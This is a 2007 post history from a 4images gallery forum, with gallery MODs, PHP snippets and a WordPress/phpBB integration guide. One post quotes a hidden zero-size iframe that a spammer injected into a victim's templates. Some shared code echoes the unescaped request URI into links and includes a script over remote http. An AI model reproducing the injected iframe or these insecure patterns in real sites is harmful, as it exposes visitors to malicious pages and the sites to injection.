Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Topics - darvid

Pages: [1]
1
Hi!

im wondering if there is any possibility to only show the image description  (in details.htm e.g), if there really is written one... somthing like

{if description}<br />{description}<br />{endif description}

and ideas?

thanks in advance,

cbass

2
Mods & Plugins (Requests & Discussions) / MOD: Language Select Anywhere
« on: September 12, 2007, 07:27:13 PM »
Hi,

this is a simply language-selection tool i have written for my site, because all other language mods didnt work for example in the header and needed much more adjustments!

FEATURES:
- Easy adjustments
- Add any language u want
- Put it in your template where u want
- No limitations


USING:
1. ADD the languages u need in your language folder as usual
2. Put the following code in your template files, where u want it
3. Edit the path to your 4images gallery. (my is "/photos/")
4. Nothing, thats it!!


Code: [Select]
<?php 
  
// Je nach Dateiendung füge Sprachvariabel mit Fragezeichen oder Undzeichen an die Dateiendung
  if ($_SERVER["REQUEST_URI"] == "/photos/")
  {
  $zeichen "index.php?";
  }
  
  else
  {
  $zeichen "&";
  }
   
?>
 
<a href="<?php echo $_SERVER["REQUEST_URI"]; echo "$zeichen"?>l=deutsch">Deutsch</a>
<a href="<?php echo $_SERVER["REQUEST_URI"]; echo "$zeichen"?>l=english">English</a>





Feedback appreciated! :roll:

3
Feedback & Suggestions / Gallerie wurde geSpamed / Hacked!!!
« on: July 09, 2007, 04:25:38 PM »
Hi,

ich war bisher eigentlich überzeugt von 4Images.
Heute jedoch musste ich bemerken, dass meine Webseite extrem langsam war. Das machte mich stutzig und sah im Quellcode nach.

Ein Spammer hatte in jede HTML Template Datei folgenden Iframe platziert:

Code: [Select]
<iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
Das erscheint mir einleuchtend, laut Anleitung sollen ja alle Template Dateien die vollen Zugriffs, Lese und Schreibrechte bekommen (chmod 777).

Ist das eine Sicherheitslücke bei 4images oder mein Fehler?

Jedensfalls ist mein zuvor 100% positiver Eindruck von 4images jetzt getrügt und ich werde die Rechte auf das Minimum runterbrechen.

4
Hi,

this is a mod, found by coincedence and some modifications by SLL (http://www.4homepages.de/forum/index.php?topic=3529.msg25302#msg25302)


What this MOD will do:

- Shows the most rated picture
- Shows the most voted picture
- Shows the most commented picture
- Shows the most downloaded picture
- Shows the most viewed picture

on a page outside of 4Images! I have used this mod in Wordpress!


ok, lets go:

1. Create a new .php file and name it something like "bestpictures.php" or something like that. Save it in the root folder of 4images.

  so it would look like that: /4images/bestpictures.php

2. Put the following code in it:


Code: [Select]
<?php
// error_reporting(E_ALL);
define('ROOT_PATH''../4images/');
define('SITE_URL''http://www.yourdomain.de/');

// Bild des Tages: für 24 Stunden wird einer der besten Bilder aus
// Datenbank gelesen und angezeigt. Nach 24 Stunden wechselt das Bild.
/**************************************************************************
*                                                                        *
*    4images - A Web Based Image Gallery Management System               *
*    ----------------------------------------------------------------    *
*                                                                        *
*             File: potd.php                                           *
*        Copyright: (C) 2002 Jan Sorgalla                                *
*            Email: jan@4homepages.de                                    *
*              Web: http://www.4homepages.de                             *
*    Scriptversion: 1.0 for 4images 1.7                                *
*                                                                        *
*    Never released without support from: Nicky (http://www.nicky.net) and SLL (;   *
*                                                                        *
**************************************************************************
*                                                                        *
*    Dieses Script ist KEINE Freeware. Bitte lesen Sie die Lizenz-       *
*    bedingungen (http://www.4homepages.de/4images/lizenz.php) für       *
*    weitere Informationen.                                              *
*    ---------------------------------------------------------------     *
*    This script is NOT freeware! Please read the Copyright Notice       *
*    (http://www.4homepages.de/4images/lizenz_e.php) for further         *
*    information.                                                        *
*                                                                        *
*************************************************************************/
//Based on the Photo of the Day mod by SLL and V@no
//additional tweaking by Omnirayf 9-5-2003
// and c-bass ( 6. Juli 2007)

include_once(ROOT_PATH.'config.php');
include_once(
ROOT_PATH.'includes/db_mysql.php');
include_once(
ROOT_PATH.'includes/constants.php');

define('PIC_CATEGORIES_TABLE''4images_categories');
define('PIC_IMAGES_TABLE''4images_images');

$pics_db = new Db($db_host$db_user$db_password$db_name);

function 
is_remote($file_name) {
  return (
preg_match('#^https?\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i'$file_name)) ? 0;
}

echo 
"<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"1\"><tr>\n";

# -----------------------------------------------------------------------------------------------------------------------------------

$sql "SELECT a.image_id, a.cat_id, a.image_name, a.image_active, a.image_thumb_file, a.image_comments, a.image_comments, a.image_downloads, a.image_votes, a.image_rating, a.image_hits
FROM ("
.PIC_IMAGES_TABLE." a, ".PIC_CATEGORIES_TABLE." b)
WHERE a.image_active=1 AND a.cat_id = b.cat_id
ORDER BY a.image_rating DESC
LIMIT 1"
;

$row $pics_db->query_firstrow($sql);
$image_id $row['image_id'];
$cat_id $row['cat_id'];
$image_name $row['image_name'];
$image_comments $row['image_comments'];
$thumb_src = (is_remote($row['image_thumb_file'])) ? $row['image_thumb_file'] : ROOT_PATH.THUMB_DIR."/".$cat_id."/".$row['image_thumb_file'];

echo 
"<td><a href=\"".SITE_URL."details.php?image_id=$image_id\"><img src=\"".$thumb_src."\" border=\"0\" vspace=\"2\" alt=\"$image_name\"></a><br>\n";
echo 
"<b>$image_name</b><br>\n";
echo 
"Most rated<br></td>\n";

# -----------------------------------------------------------------------------------------------------------------------------------

$sql "SELECT a.image_id, a.cat_id, a.image_name, a.image_active, a.image_thumb_file, a.image_comments, a.image_comments, a.image_downloads, a.image_votes, a.image_rating, a.image_hits
FROM ("
.PIC_IMAGES_TABLE." a, ".PIC_CATEGORIES_TABLE." b)
WHERE a.image_active=1 AND a.cat_id = b.cat_id
ORDER BY a.image_votes DESC
LIMIT 1"
;

$row $pics_db->query_firstrow($sql);
$image_id $row['image_id'];
$cat_id $row['cat_id'];
$image_name $row['image_name'];
$image_comments $row['image_comments'];
$thumb_src = (is_remote($row['image_thumb_file'])) ? $row['image_thumb_file'] : ROOT_PATH.THUMB_DIR."/".$cat_id."/".$row['image_thumb_file'];

echo 
"<td><a href=\"".SITE_URL."details.php?image_id=$image_id\"><img src=\"".$thumb_src."\" border=\"0\" vspace=\"2\" alt=\"$image_name\"></a><br>\n";
echo 
"<b>$image_name</b><br>\n";
echo 
"Most voted<br></td>\n";

# -----------------------------------------------------------------------------------------------------------------------------------

$sql "SELECT a.image_id, a.cat_id, a.image_name, a.image_active, a.image_thumb_file, a.image_comments, a.image_comments, a.image_downloads, a.image_votes, a.image_rating, a.image_hits
FROM ("
.PIC_IMAGES_TABLE." a, ".PIC_CATEGORIES_TABLE." b)
WHERE a.image_active=1 AND a.cat_id = b.cat_id
ORDER BY a.image_comments DESC
LIMIT 1"
;

$row $pics_db->query_firstrow($sql);
$image_id $row['image_id'];
$cat_id $row['cat_id'];
$image_name $row['image_name'];
$image_comments $row['image_comments'];
$thumb_src = (is_remote($row['image_thumb_file'])) ? $row['image_thumb_file'] : ROOT_PATH.THUMB_DIR."/".$cat_id."/".$row['image_thumb_file'];

echo 
"<td><a href=\"".SITE_URL."details.php?image_id=$image_id\"><img src=\"".$thumb_src."\" border=\"0\" vspace=\"2\" alt=\"$image_name\"></a><br>\n";
echo 
"<b>$image_name</b><br>\n";
echo 
"Most commented<br></td>\n";

# -----------------------------------------------------------------------------------------------------------------------------------

$sql "SELECT a.image_id, a.cat_id, a.image_name, a.image_active, a.image_thumb_file, a.image_comments, a.image_comments, a.image_downloads, a.image_votes, a.image_rating, a.image_hits
FROM ("
.PIC_IMAGES_TABLE." a, ".PIC_CATEGORIES_TABLE." b)
WHERE a.image_active=1 AND a.cat_id = b.cat_id
ORDER BY a.image_downloads DESC
LIMIT 1"
;

$row $pics_db->query_firstrow($sql);
$image_id $row['image_id'];
$cat_id $row['cat_id'];
$image_name $row['image_name'];
$image_comments $row['image_comments'];
$thumb_src = (is_remote($row['image_thumb_file'])) ? $row['image_thumb_file'] : ROOT_PATH.THUMB_DIR."/".$cat_id."/".$row['image_thumb_file'];

echo 
"<td><a href=\"".SITE_URL."details.php?image_id=$image_id\"><img src=\"".$thumb_src."\" border=\"0\" vspace=\"2\" alt=\"$image_name\"></a><br>\n";
echo 
"<b>$image_name</b><br>\n";
echo 
"Most downloaded<br></td>\n";

# -----------------------------------------------------------------------------------------------------------------------------------

$sql "SELECT a.image_id, a.cat_id, a.image_name, a.image_active, a.image_thumb_file, a.image_comments, a.image_comments, a.image_downloads, a.image_votes, a.image_rating, a.image_hits
FROM ("
.PIC_IMAGES_TABLE." a, ".PIC_CATEGORIES_TABLE." b)
WHERE a.image_active=1 AND a.cat_id = b.cat_id
ORDER BY a.image_hits DESC
LIMIT 1"
;

$row $pics_db->query_firstrow($sql);
$image_id $row['image_id'];
$cat_id $row['cat_id'];
$image_name $row['image_name'];
$image_comments $row['image_comments'];
$thumb_src = (is_remote($row['image_thumb_file'])) ? $row['image_thumb_file'] : ROOT_PATH.THUMB_DIR."/".$cat_id."/".$row['image_thumb_file'];

echo 
"<td><a href=\"".SITE_URL."details.php?image_id=$image_id\"><img src=\"".$thumb_src."\" border=\"0\" vspace=\"2\" alt=\"$image_name\"></a><br>\n";
echo 
"<b>$image_name</b><br>\n";
echo 
"Most viewed<br></td>\n";

# -----------------------------------------------------------------------------------------------------------------------------------

echo "</tr></table>\n";

?>



3. EDIT in the first lines of the code the domain and the path to your 4images installlation! It might be, if u have different database table name, that u also have to change them in the code.
If u dont want for example shown the most viewed pictures, comment the sql query in the code.


4. Test the file by calling it directly over your browser like http://www.yourdomain.de/4images/bestpictures.php

5. Put this line of code, where u want to have the pictures.

            
Code: [Select]
<?php include("http://www.yourdomain.de/4images/bestpictures.php"); ?>

5
Hi,

i want to show the top rated pictures of 4images on an external page (in my blog) outside of the 4images directory.

4images path: www.homepage.de/photos/
blog path: www.homepage.de/blog/

I used the code of the MINI-TOP MOD, but get several errors:
            
Code: [Select]
<?php

define
('GET_CACHES'1);
define('ROOT_PATH''./photos/');
$user_access get_permission();

$imgtable_width ceil(intval($config['image_table_width']) / $config['image_cells']);
if ((
substr($config['image_table_width'], -1)) == "%") {
  
$imgtable_width .= "%";
}

 
$mini_top_images "<table width=\"".$config['image_table_width']."\" border=\"0\" cellpadding=\"".$config['image_table_cellpadding']."\" cellspacing=\"".$config['image_table_cellspacing']."\">";
 
$mini_top_images .= "<tr class=\"imagerow1\">\n";

 
$selection = array('rating''votes''hits''comments''downloads');
 
$selection_alt = array('votes DESC''rating DESC''name ASC''name ASC''name ASC');
# $selection_cutoff = array(' AND i.image_votes > 10', '', '', '', '');

 
$num_of_cells $config['image_cells'];
 
$num_of_cells $num_of_cells count($selection) ? count($selection) : $num_of_cells;

 for (
$cnt 0$cnt $num_of_cells$cnt++) {

 
$mini_top_images .= "<td width=\"".$imgtable_width."\" valign=\"top\">\n";

$sql "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_description, i.image_keywords, i.image_date, i.image_active, i.image_media_file, i.image_thumb_file, i.image_download_url, i.image_allow_comments, i.image_comments, i.image_downloads, i.image_votes, i.image_rating, i.image_hits".$additional_sql.", c.cat_name".get_user_table_field(", u.""user_name")."
        FROM ("
.IMAGES_TABLE." i,  ".CATEGORIES_TABLE." c)
        LEFT JOIN "
.USERS_TABLE." u ON (".get_user_table_field("u.""user_id")." = i.user_id)
        WHERE i.image_active = 1 AND c.cat_id = i.cat_id AND i.cat_id IN ("
.get_auth_cat_sql("auth_viewcat").")".$selection_cutoff[$cnt]."
        ORDER BY i.image_"
.$selection[$cnt]." DESC, i.image_".$selection_alt[$cnt];

 
$result $site_db->query_firstrow($sql);
 
show_image($result);
 
$site_template->register_vars("lang_mini_top_mode"$lang['mini_top_'.$selection[$cnt]]);
 
$mini_top_images .= $site_template->parse_template("mini_top_bit");
 
$mini_top_images .= "\n</td>\n";
}

 
$mini_top_images .= "</tr>\n";
 
$mini_top_images .= "</table>\n";

 
$site_template->register_vars(array(
  
"mini_top_images" => $mini_top_images,
  
"lang_hits" => $lang['hits'],
  
"lang_downloads" => $lang['downloads'],
  
"lang_mini_top_title" => $lang['mini_top_title']
 ));
unset(
$mini_top_images);

?>

error:

Fatal error: Call to undefined function: get_permission() in /htdocs/blog/wp-content/themes/pilotenbilder_2007/uebersicht.php on line 110

in line 110 is the following code:

$user_access = get_permission();

6
Warum darf man eigentlich seine MODS nicht im Releases Forum posten?


Integration von Wordpress 2.2, PHPBB 2.0.22 und 4Images 1.74


SCHRITT 1 - Installation PHPBB
Installiere als erstes PHPBB (Version 2.0.xx). Die Datenbank von PHPBB wird als Grundlage für alle 3 Komponenten dienen.

SCHRITT 2 - Installation 4Images
Installiere 4Images. Die Datenbank muss die selbe sein wie der von der PHPBB-Installation.

SCHRITT 3 - Integration PHPBB und 4Images
Gehe zu dieser Post im 4Images Forum (http://wordpress.org/support/topic/80535) und lade die integration_phpbb.zip herunter und folgt der Installationsanleitung. Es ist ein sehr langer Post. Ihr benötigt aber wahrscheinlich keine weitere Recherche. Jedoch wird ein Fehler auftreten. Durch einige Updates mit den Sessions wird die Fehldermeldung “Invalid Session” früher oder später auftauchen. Ihr löst das Problem mit folgendem Post: http://www.4homepages.de/forum/index.php?topic=4315.0

SCHRITT 4 - Installation Wordpress
Installiere nun Wordpress. Denk daran, dieselbe Datenbank wieder zu nutzen.

SCHRITT 5 - Integration von Wordpress und PHPBB
Da wir die Datenbanktabellen von PHPBB nutzen, installieren wir nun die Schnittstelle zu Wordpress. Dafür gibt es ein atemberaubendes PLUGIN bzw . einen MOD (siehe: http://www.wp-united.com, http://www.phpbb.com/community/viewtopic.php?f=16&t=475642&st=0&sk=t&sd=a)
Folgt den dortigen Anweisungen! Dort gibt es auch Referenzseiten, die es bereits geschafft haben!
(Es kann sein, dass man sich noch Easymod für PHPBB herunterladen muss. Das Skript vereinfacht die Installation von MOD’s extrem! Ich habe die beta Version 0.3.0 getestet und sie funktionierte tadellos!)

VOILÀ!!!


Da ich leider nicht jeden Tag im Forum bin und aber diese Anleitung stetig weiterentwickeln und aktuell halten möchte, poste ich nur die Basics. Bitte lest die komplette Anleitung und sonstige Hinweise auf http://www.sebastianscheuer.de/aktuell/integration-von-wordpress-blog-phpbb-forum-und-4images-bildergallerie/



/************************************************************************************************************************************\

ENGLISH TRANSLATION
2007, Integration of Wordpress 2.2, PHPBB 2.0.22 and 4Images 1.74

Every webworker who needs powerful (open-source) software components like a forum, a blog, or a photo-gallery knows, that there arent not so much solutions, which work without multiple registrations of the user. This sucks!

I have taken some weeks research on the web and got lucky to find everywhere some hints, but most of them where too complicated or too old.

Ok, lets do it! You need:

BLOG - Wordpress - http://www.wordpress.org
FORUM - phpBB - http://www.phpbb.com
GALLERIE - 4images - http://www.4homepages.de/

Aprox. time: about 2 - 4 hours
Knowledge: Beginner and Professionells
(Everyone can do it, if he is willing to read everything twice!! Its just a matter of time ;)

STEP 1 - Install PHPBB

At the very first, install PHPBB (version 2.0.xx). The same database of phpbb must be used for Wordpress and 4images, since we wiill use the user tables of phpbb for all components.

STEP 2 - Install 4Images
Install 4Images. Use as mentioned before the same database as for phpbb!

STEP 3 - Integration of PHPBB and 4Images

Now, it is getting tricky! Go to the following thread in the 4Images Forum (http://wordpress.org/support/topic/80535) and download integration_phpbb.zip. Follow the installation guide!. It is a very long thread, but you will probably not read the whole one. BUT: Sooner or later you will get one error message “Invalid Session”! Go to the following post to solve it: http://www.4homepages.de/forum/index.php?topic=4315.0

STEP 4 - Install Wordpress
Install Wordpress. Dont forget, to use the same database!!

STEP 5 - Integration of Wordpress and PHPBB

Because of using the user-database tables of PHPBB, we must now install the connection to Wordpress. There is an amazing PLUGIN/MOD for that (Links: http://www.wp-united.com, http://www.phpbb.com/community/viewtopic.php?f=16&t=475642&st=0&sk=t&sd=a)
I am sure the developer would be lucky to gain some donations for his work!
There are also websits who have already done it.
If you are new to PHPBB, it is the best to install an modification for PHPBB. It is called Easymod (Installation(german), Download: Download)! It makes it easy to modificate the code! I have testet the beta version 0.3.0 and it worked without any problems!

VOILÀ!!!


Please visit http://www.sebastianscheuer.de/aktuell/integration-von-wordpress-blog-phpbb-forum-und-4images-bildergallerie/
 for further details!

7
Mods & Plugins (Requests & Discussions) / STAR RATING RELOADED
« on: June 18, 2007, 01:59:57 PM »
Hi,

ich habe mir viele der hier vorgestellten star rating MODs angeguckt und trotzdem suche ich eine Mischung aus mehren.

Ich versuche gerade das so hinzubekommen wie auf http://www.cssremix.com/.

Also:
1. Man sieht anhand der Sterne die aktuelle Bewertung => Nicky hat sowas geschrieben
2. Wenn man darübergeht, kann man neu bewerten => von KurtW
3. Und mittels Ajax brauch sich keine neue Seite laden

aber soweit ich das überblicke gibt es noch keine Mischung aus dem ganzen.

@KURT: Du hast doch schon sowas ähnliches gemacht. Wäre es schwer diese Funktionen hinzuzufügen?

8
Hallo,

im Bezug auf meinen vorherigen MOD (http://www.4homepages.de/forum/index.php?topic=17796.msg94823#msg94823), welcher sich um die Anzeige der neuesten Bilder in Wordpress handelte, möchte ich nun die best bewertesten Bilder in Wordpress anzeigen. Ich weiss aber nicht ganz genau wie ich das machen soll, kann mir da jemand aushelfen?


==============0

Hi,

corressponding to my other MOD (http://www.4homepages.de/forum/index.php?topic=17796.msg94823#msg94823), which shows the newest pictures in Wordpress, I would like to show the best rated pictures, now. But I dont know how to do that. Any idea?

9
Hi,

ich habe die Integration von 4Images, PHPBB und Wordpress tatsächlich hinbekommen (How-To at: http://www.sebastianscheuer.de/aktuell/integration-von-wordpress-blog-phpbb-forum-und-4images-bildergallerie/)

Nun möchte ich natürlich Bilder auch in Wordpress anzeigen lassen.


[MOD] Neueste Bilder in WORDPRESS / Newest pics in WORDPRESS:


Vorrausetzung: 4Images und Wordpress sind in der selben Datenbank! / 4Images und Wordpress must be using the same database!!

Fügt in euren Wordpress-Theme Dateien folgenden Code hinein (abgewandelt von Nicky) / Put this code into your Wordpress-Theme, whereever u want:



 // BEGIN letzte Bilder anzeigen

// Set here the URL to your 4images Gallery. WITH trailing slash!
define('SCRIPT_URL', 'http://www.domain.de/4images/');


// Set here your THUMBNAIL directory. Normally no need to change. WITHOUT trailing slash!
define('THUMB_DIR', 'data/thumbnails');

function is_remote($file_name) {
  return (preg_match('#^https?\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i', $file_name)) ? 1 : 0;
}
// Set thumbnails to show
$new_thumbs = 3;

// In following query CHANGE 4images table PREFIX if it doesn't match (Standard "4images_")!
$sql = "SELECT a.image_id, a.cat_id, a.image_name, a.image_active, a.image_thumb_file
        FROM 4images_images a, 4images_categories b
        WHERE a.image_active=1
        AND a.cat_id = b.cat_id
        AND b.auth_viewcat=0
        AND b.auth_viewimage=0
        ORDER BY a.image_id DESC
        LIMIT $new_thumbs";
$result = $db->sql_query($sql);
$newpics = "\n<table><tr>\n";
if ($db->sql_numrows($result) > 0) {
  while ($row = $db->sql_fetchrow($result)) {
    $image_id = $row['image_id'];
    $cat_id = $row['cat_id'];
    $image_name = $row['image_name'];
    $thumb_src = (is_remote($row['image_thumb_file'])) ? $row['image_thumb_file'] : SCRIPT_URL.THUMB_DIR."/".$cat_id."/".$row['image_thumb_file'];
    $newpics .= "<td valign=\"bottom\">$image_name<br><a href=\"".SCRIPT_URL."details.php?image_id=$image_id\"><img src=\"".$thumb_src."\" border=\"1\" alt=\"$image_name\"></a></td>\n";
  }
}
else {
  $newpics .= "<td class=\"mainmenu\" align=\"center\">nothing here</td>\n";
}
$newpics .= "</tr></table>\n";

echo "$newpics";




$new_thumbs = Anzahl der anzuzeigenden Bilder / Number of Pictures

ÄNDERE DEN PFAD ZU 4IMAGES / EDIT THE PATH TO 4IMAGES

Dort wo ihr die Bilder anzeigen wollt fügt folgenden Code hin / put this code in your WP-Theme where u want the pictures to show: <?php echo "$newpics"; ?>


VOILÀ!!

10
hi,

i have searched for templates for 4images but didnt find so many and most of them dont look very nice. i know that people who spent a lot of time in their templates wont them give a way for free, but i cant believe that 4images with about 15000 users has only a few sites which offer templates. i would pay for them!!

i am looking for dark templates which should have (they dont have to) a black or dark background.

does anybody know some good templates?

thanks in advance!

11
Hallo,

ich habe eine Fotogallerie wo jeden Monat Fotos eingesendet werden können. Das sind in etwa 400 Bilder pro Monat. Jeden Monat wurde ein Bild prämiert.

Nun wünscht mein Auftraggeber, dass die Fotogallerie zum Jahresende mit Bewertungsfunktion aller Bilder aller Monate ausgestattet werden soll.

Also etwa 2500 Bilder.

Nun überlege ich, wie man das Umsetzen könnte. Entweder es werden alle 2500 Bilder angezeigt und der User muss sich da durch die Vorschaubilder klicken, oder was mir noch spontan einfällt, wäre ein Pull-Down Menü. Allerdings wäre dieses zu lang und der Nutzer müsste den Namen des Bildes schon wissen, weil er das Foto dazu nicht sieht.

Habt Ihr Ideen?

(Gerne stelle ich auch die Ergebnisse in einem MOD später zur Verfügung.)

12
Hallo,

ich habe ein kleines Problem.

Und zwar möchte ich zusätzlich zu dem bestehendem Skript & Layout eine 2. "categories.php" auf der dann die Thumbnailes der Bilder in einer anderen Größe und anderem Layout dargestellt werden.

Ich habe viele ähnliche Fragen und Lösungswege hier gesehen. Allerdings erscheinen mir viele zu umständlich.

Meine Idee wäre einfach einen 2 Thumbnail ordner zu erstellen (die arbeit, die thumbnails zu bearbeiten, nehme ich in kauf ;). wo verstecken sich die pfade zu den bilder ordnern?

vielen dank

13
Hallo,

habe im Forum schon ähnliche aber nicht identische Problemstellungen entdecken können.

Ich habe eine externe Seite, die mit 4Gallery nix zu tun hat. Dort habe ich Links direkt zu den Kategorien der Gallerie gesetzt. Wie kann ich jetzt dahinter die Anzahl der Bilder einer bestimmten Kategorie anzeigen? (Ähnlich zu der Startseite der Gallerie)

Also:
Kategorie1 (34 Billder)
Kategorie2 (29 Bilder)

Vielen Dank schon einmal im Vorraus!

14
Hello,

after searching 2 hours with no sucess, i need to post my question now:

is it possible to sort the pictures shown in the categories by random?

Thanks in advance!!


Hallo

nach 2 stündiger und erfolgloser Suche poste ich jetzt nun doch.

Gibt es eine Möglichkeit die Bilder in den Kategorien per Zufall anzuordnen?

Vielen Dank im Vorraus!

Pages: [1]